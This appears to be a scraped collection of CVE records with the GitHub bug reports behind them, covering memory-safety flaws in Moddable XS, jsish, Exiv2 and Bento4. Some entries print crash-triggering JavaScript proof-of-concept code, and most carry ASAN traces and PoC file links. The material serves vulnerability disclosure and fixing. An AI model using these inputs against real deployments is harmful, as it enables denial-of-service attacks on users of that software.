# Enviroment ``` operating system: ubuntu18.04 apt-get install libgtk-3-dev export MODDABLE=~/src/moddable cd $MODDABLE/build/makefiles/lin make test command: ./build/bin/lin/release/xsc poc ``` # poc ``` function main() { let arr = [ 1.1, 1.1, 1.1, 1.1, 1.1 ]; var DAQh = new Int32Array([ arr, 47483647, arr, arr ]); var ECrE = new WeakSet([ [ arr, arr, arr, 3.141592653589793, 1200, arr, arr, arr ], [ 0.1, arr, arr, arr, arr, -1, arr, arr, arr ] ]); var QWYA = new WeakSet([ [ 9007199254740992, arr, arr, -9007199254740994, 1e-81 ], [ 1518500249, arr, arr, -9007199254740992 ] ]); opt(function () { }); var BXWH = new Int16Array([ arr, 3.141592653589793, 1e-15, arr, arr, 9007199254740994, arr ]); var RQpT = arr < BXWH['3']; var JXHX = opt(function () { }); var CCfc = new Array([ 9007199254740990, arr, arr, arr ]); var KGzE = new Uint16Array([ arr, -4294967297, 4294967296, 1e-81, -4294967297, 3.141592653589793, 2147483648 ]); var CPYW = new Set([ 1.7976931348623157e+308, KGzE['3'], arr, KGzE['6'], KGzE['2'], -4294967295 ]); var zdXw = new WeakSet([ [ arr, arr, arr ], [ -2147483647, 1e-81, arr, arr ] ]); var Ywyk = zdXw.delete(1518500249); var yGiG = new Int16Array([ -4294967295, KGzE['4'], 0.1, 1200, -1 ]); var jQRt = 0 != arr; var GQFe = new Set([ 1, arr, arr, 3.141592653589793, arr, arr, 3037000498 ]); var sjsZ = opt(function () { }); var bxnE = new WeakSet([ [ arr.length, 5, 0.1, arr ], [ 0.2, 1e-81, arr.length, arr, arr, -1, arr ] ]); arr = bxnE.add(arr); bxnE = bxnE.add(arr); var zMRn = new Int32Array([ 1e+81, arr, arr.length, arr, arr, arr, arr, 3 ]); function opt(f) { arr[0] = 1.1; var K2sQ = ~-9007199254740991; var CbWF = !0; arr[2] = 1.1; var bHeM = !2147483648; var eYaX = new WeakSet([ [], [ -9007199254740994, 1e+400, arr.length, -Infinity, arr ] ]); arr[3] = 1.1; } let r0 = () => '0'; for (var i = 0; i < 4096; i++) opt(r0); opt(() => { arr[ ] = {}; return '0'; }); } main(); ``` # vulnerability description: The stack traceback is shown in the figure:  When processing js code, first fxParserTree will be called to generate a node tree, And when met:  It can cause errors in object references, which can cause type confusion. The specific vulnerability trigger point is on line xsCode.c: 1153, as shown in the figure  The current item is considered a temporary function type that has been declared, but in fact it is an undefined array type in poc. # PoC construction  Simply assign a value to an undefined array.

Type confusion vulnerability

https://api.github.com/repos/Moddable-OpenSource/moddable/issues/351/comments

2020-04-17T16:01:51Z

2020-05-22T23:12:42Z

https://github.com/Moddable-OpenSource/moddable/issues/351

CVE-2020-22907

2021-07-13T15:15:08.677

Stack overflow vulnerability in function jsi_evalcode_sub in jsish before 3.0.18, allows remote attackers to cause a Denial of Service via a crafted value to the execute parameter.

https://github.com/pcmacdon/jsish/issues/16

github.com

# Enviroment ``` operating system: ubuntu18.04 compile command: export JSI__SANITIZE=1 && make test command: ./jsish poc1 ``` # poc: ``` function fail(message) { } function assert(condition, message) { if (!condition) fail(message); } function assertEquals(expression, value, message) { if (expression != value) { expression = ('' + expression).replace(/[\r\n]+/g, ')aOD$,0ZA>`W[oxl~4zXIG'); value = ('' + value).replace(/\r?\n/g, '^A-}nr4+Cnb-(+`2M,'); var FDwc = Proxy; fail('' + value + '' + expression + ';W' + message); } } var d; d = null; var jWeN = assert(null, null); var QJmz = JSON; for (var i = 0; i < loops; i += 1) { d = new Date(); d = new function (x) { return { toString: function () { return x.toString(); } }; }(d.valueOf()); var sDPa = new Map([ [null], [ null, null, null, null ] ]); d = d.parentNode; assert(null, null); var pxeM = Proxy; var bsAF = assert(null, null); } ``` # vulnerability description Below is the ASAN output, We can find that the code has a heap overflow in jsi_evalcode_sub src/jsiEval.c:1325  

heap overflow

https://api.github.com/repos/pcmacdon/jsish/issues/16/comments

2020-05-20T14:49:25Z

2020-05-20T17:01:44Z

https://github.com/pcmacdon/jsish/issues/16

CVE-2020-19716

2021-07-13T22:15:08.913

A buffer overflow vulnerability in the Databuf function in types.cpp of Exiv2 v0.27.1 leads to a denial of service (DOS).

https://github.com/Exiv2/exiv2/issues/980

github.com

There is a buffer overflow in exiv2 in file types.cpp. Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 The compile command is: cmake ./ ;make To reproduce the issue, run: ./exiv2 input Here is the trace reported by asan: #0 0x7faff55ba631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7faff55bf5e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7faff5537425 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x1d425) #3 0x7faff55bd865 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa3865) #4 0x7faff553cb4d (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b4d) #5 0x7faff55b367e in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9967e) #6 0x7faff0f63d25 in Exiv2::DataBuf::DataBuf(long) /home/heqing/playground/exiv2-0.27.1-Source-a/src/types.cpp:141 #7 0x7faff0dc8995 in Exiv2::RafImage::readMetadata() /home/heqing/playground/exiv2-0.27.1-Source-a/src/rafimage.cpp:300 #8 0x77b36d in Action::Print::printSummary() /home/heqing/playground/exiv2-0.27.1-Source-a/src/actions.cpp:286 #9 0x79935f in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/heqing/playground/exiv2-0.27.1-Source-a/src/actions.cpp:246 #10 0x410f18 in main /home/heqing/playground/exiv2-0.27.1-Source-a/src/exiv2.cpp:169 #11 0x7fafecfe282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #12 0x41abb8 in _start (/home/heqing/playground/exiv2-0.27.1-Source-a/build/bin/exiv2+0x41abb8) The reason is that DataBuf in types.cpp does not check the malloced buffer is a null pointer or not yet directly use memcpy to write the buffer.  The attachment is the poc input. [poc_input2.zip](https://github.com/Exiv2/exiv2/files/3485483/poc_input2.zip)

Buffer overflow caused by exhaustive memory usage

https://api.github.com/repos/Exiv2/exiv2/issues/980/comments

2019-08-09T08:46:00Z

2021-07-23T12:12:29Z

https://github.com/Exiv2/exiv2/issues/980

CVE-2020-19717

2021-07-13T22:15:08.943

An unhandled memory allocation failure in Core/Ap48bdlAtom.cpp of Bento 1.5.1-628 causes a NULL pointer dereference, leading to a denial of service (DOS).

https://github.com/axiomatic-systems/Bento4/issues/416

github.com

There is a null pointer dereference caused by unhandled exhaustive memory usage in Ap48bdlAtom.cpp. Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 To reproduce the bug, compile the project with flag DCMAKE_C_FLAGS=-g -m32 -fsanitize=address,undefined then run: ./mp42aac input /dev/null The reason is that the malloc size does not check and easily lead to memory allocation failure.   Here is the trace reported by ASAN: ==131030==WARNING: AddressSanitizer failed to allocate 0xffe1fff1 bytes ==131030==AddressSanitizer's allocator is terminating the process instead of returning 0 ==131030==If you don't like this behavior set allocator_may_return_null=1 ==131030==AddressSanitizer CHECK failed: ../../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0xf71fe797 (/usr/lib32/libasan.so.2+0x9f797) #1 0xf7203a69 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib32/libasan.so.2+0xa4a69) #2 0xf717507b (/usr/lib32/libasan.so.2+0x1607b) #3 0xf7201e80 (/usr/lib32/libasan.so.2+0xa2e80) #4 0xf717a229 (/usr/lib32/libasan.so.2+0x1b229) #5 0xf71f6e16 in operator new[](unsigned int) (/usr/lib32/libasan.so.2+0x97e16) #6 0x877ebaf in AP4_DataBuffer::AP4_DataBuffer(unsigned int) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4DataBuffer.cpp:55 #7 0x8ba5673 in AP4_8bdlAtom::AP4_8bdlAtom(unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap48bdlAtom.cpp:76 #8 0x8ba5673 in AP4_8bdlAtom::Create(unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap48bdlAtom.cpp:64 #9 0x82e10dc in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:534 #10 0x8301ca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #11 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #12 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #13 0x841a898 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.cpp:80 #14 0x82e2631 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.h:56 #15 0x82e2631 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:363 #16 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #17 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:151 #18 0x809a044 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:104 #19 0x809a044 in AP4_File::AP4_File(AP4_ByteStream&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:78 #20 0x8082ce7 in main /mnt/data/playground/mp42-a/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250 #21 0xf697f636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #22 0x808df1b (/mnt/data/playground/mp42-patch/Build/mp42aac+0x808df1b) The poc input: [poc_input6.zip](https://github.com/axiomatic-systems/Bento4/files/3486674/poc_input6.zip)

Null pointer dereference caused by unhandled exhaustive memory usage

https://api.github.com/repos/axiomatic-systems/Bento4/issues/416/comments

2019-08-09T14:02:54Z

2019-08-25T16:22:18Z

https://github.com/axiomatic-systems/Bento4/issues/416

CVE-2020-19718

2021-07-13T22:15:08.967

An unhandled memory allocation failure in Core/Ap4Atom.cpp of Bento 1.5.1-628 causes a NULL pointer dereference, leading to a denial of service (DOS).

https://github.com/axiomatic-systems/Bento4/issues/417

github.com

There is a null pointer dereference bug running mp42aac. It is similar to #413. Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 To reproduce the bug, compile the project with flag DCMAKE_C_FLAGS=-g -m32 -fsanitize=address,undefined then run: ./mp42aac input /dev/null The reason for this problem is due to the mishandled memory allocation:  Here is the trace reported by ASAN: /mnt/data/playground/mp42-a/Source/C++/Core/Ap4DataBuffer.cpp:175:41: runtime error: null pointer passed as argument 1, which is declared to never be null /usr/include/i386-linux-gnu/bits/string3.h:53:71: runtime error: null pointer passed as argument 1, which is declared to never be null ==147453==WARNING: AddressSanitizer failed to allocate 0xfffffff8 bytes ==147453==AddressSanitizer's allocator is terminating the process instead of returning 0 ==147453==If you don't like this behavior set allocator_may_return_null=1 ==147453==AddressSanitizer CHECK failed: ../../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0xf72aa797 (/usr/lib32/libasan.so.2+0x9f797) #1 0xf72afa69 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib32/libasan.so.2+0xa4a69) #2 0xf722107b (/usr/lib32/libasan.so.2+0x1607b) #3 0xf72ade80 (/usr/lib32/libasan.so.2+0xa2e80) #4 0xf7226229 (/usr/lib32/libasan.so.2+0x1b229) #5 0xf72a2e16 in operator new[](unsigned int) (/usr/lib32/libasan.so.2+0x97e16) #6 0x877ebaf in AP4_DataBuffer::AP4_DataBuffer(unsigned int) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4DataBuffer.cpp:55 #7 0x889fddb in AP4_HvccAtom::Create(unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4HvccAtom.cpp:86 #8 0x82dc364 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:488 #9 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #10 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:151 #11 0x809a044 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:104 #12 0x809a044 in AP4_File::AP4_File(AP4_ByteStream&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:78 #13 0x8082ce7 in main /mnt/data/playground/mp42-a/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250 #14 0xf6a2b636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #15 0x808df1b (/mnt/data/playground/mp42-patch/Build/mp42aac+0x808df1b) This is the POC input: [poc_input7.zip](https://github.com/axiomatic-systems/Bento4/files/3486744/poc_input7.zip)

Null pointer dereference bug

https://api.github.com/repos/axiomatic-systems/Bento4/issues/417/comments

2019-08-09T14:25:13Z

2019-08-25T16:22:03Z

https://github.com/axiomatic-systems/Bento4/issues/417

CVE-2020-19719

2021-07-13T22:15:09.000

A buffer overflow vulnerability in Ap4ElstAtom.cpp of Bento 1.5.1-628 leads to a denial of service (DOS).

https://github.com/axiomatic-systems/Bento4/issues/414

github.com

There is a buffer overflow in Ap4ElstAtom.cpp related to AP4_ElstAtom. Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 To reproduce the bug, compile the project with flag `DCMAKE_C_FLAGS=-g -m32 -fsanitize=address,undefined` then run: `./mp42aac input /dev/null` This is the trace reported by ASAN: ==89902==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf4b00b64 at pc 0x086bc1e3 bp 0xff8c68b8 sp 0xff8c68a8 WRITE of size 20 at 0xf4b00b64 thread T0 #0 0x86bc1e2 in AP4_Array<AP4_ElstEntry>::Append(AP4_ElstEntry const&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ElstAtom.cpp:88 #1 0x86bc1e2 in AP4_ElstAtom::AP4_ElstAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ElstAtom.cpp:84 #2 0x86bccb5 in AP4_ElstAtom::Create(unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ElstAtom.cpp:51 #3 0x82e1ccc in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:549 #4 0x8301ca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #5 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #6 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #7 0x82be680 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:88 #8 0x82dc711 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:768 #9 0x8301ca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #10 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #11 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #12 0x901195b in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4TrakAtom.cpp:165 #13 0x82da849 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4TrakAtom.h:58 #14 0x82da849 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:383 #15 0x8301ca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #16 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #17 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #18 0x841a898 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.cpp:80 #19 0x82e2631 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.h:56 #20 0x82e2631 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:363 #21 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #22 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:151 #23 0x809a044 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:104 #24 0x809a044 in AP4_File::AP4_File(AP4_ByteStream&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:78 #25 0x8082ce7 in main /mnt/data/playground/mp42-a/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250 #26 0xf6a6d636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #27 0x808df1b (/mnt/data/playground/mp42-patch/Build/mp42aac+0x808df1b) 0xf4b00b64 is located 0 bytes to the right of 20-byte region [0xf4b00b50,0xf4b00b64) allocated by thread T0 here: #0 0xf72e4cd6 in operator new(unsigned int) (/usr/lib32/libasan.so.2+0x97cd6) #1 0x86b7892 in AP4_Array<AP4_ElstEntry>::EnsureCapacity(unsigned int) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4Array.h:172 #2 0x86b7892 in AP4_ElstAtom::AP4_ElstAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ElstAtom.cpp:73 #3 0x86bccb5 in AP4_ElstAtom::Create(unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ElstAtom.cpp:51 #4 0x82e1ccc in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:549 #5 0x8301ca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #6 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #7 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #8 0x82be680 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:88 #9 0x82dc711 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:768 #10 0x8301ca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #11 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #12 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #13 0x901195b in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4TrakAtom.cpp:165 #14 0x82da849 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4TrakAtom.h:58 #15 0x82da849 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:383 #16 0x8301ca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #17 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #18 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #19 0x841a898 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.cpp:80 #20 0x82e2631 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.h:56 #21 0x82e2631 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:363 #22 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #23 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:151 #24 0x809a044 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:104 #25 0x809a044 in AP4_File::AP4_File(AP4_ByteStream&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:78 #26 0x8082ce7 in main /mnt/data/playground/mp42-a/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250 #27 0xf6a6d636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) SUMMARY: AddressSanitizer: heap-buffer-overflow /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ElstAtom.cpp:88 AP4_Array<AP4_ElstEntry>::Append(AP4_ElstEntry const&) Shadow bytes around the buggy address: 0x3e960110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e960120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e960130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e960140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e960150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3e960160: fa fa fa fa fa fa fa fa fa fa 00 00[04]fa fa fa 0x3e960170: 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00 00 00 0x3e960180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e960190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e9601a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e9601b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==89902==ABORTING The reason is that the program does not handle the -m32 complier flag and still let the program read the string in 64bit manner and cause the overwrite.  Here is the Poc input: [poc_input5.zip](https://github.com/axiomatic-systems/Bento4/files/3486360/poc_input5.zip)

Buffer overflow in Ap4ElstAtom.cpp

https://api.github.com/repos/axiomatic-systems/Bento4/issues/414/comments

2019-08-09T12:45:59Z

2019-08-25T16:22:46Z

https://github.com/axiomatic-systems/Bento4/issues/414

CVE-2020-19720

2021-07-13T22:15:09.033

An unhandled memory allocation failure in Core/AP4IkmsAtom.cpp of Bento 1.5.1-628 causes a NULL pointer dereference, leading to a denial of service (DOS).

https://github.com/axiomatic-systems/Bento4/issues/413

github.com

There is a buffer overflow inside AP4_IkmsAtom of AP4IkmsAtom.cpp. It is similar to #412 and #396. ./mp42aac input_file /dev/null In file Source/C++/Core/AP4IkmsAtom.cpp AP4_RtpAtom allocates a new buffer to parse the atom in the stream. The unhandled memory allocation failure causes the read content memcpy to a null pointer. This is the start points.  In file In file Source/C++/Core/AP4IkmsAtom.cpp   AP4_CopyMemory is the macro define of memcpy and the path formed. Asan trace report: ==149039==WARNING: AddressSanitizer failed to allocate 0xff7efffd bytes ==149039==AddressSanitizer's allocator is terminating the process instead of returning 0 ==149039==If you don't like this behavior set allocator_may_return_null=1 ==149039==AddressSanitizer CHECK failed: ../../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0xf724a797 (/usr/lib32/libasan.so.2+0x9f797) #1 0xf724fa69 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib32/libasan.so.2+0xa4a69) 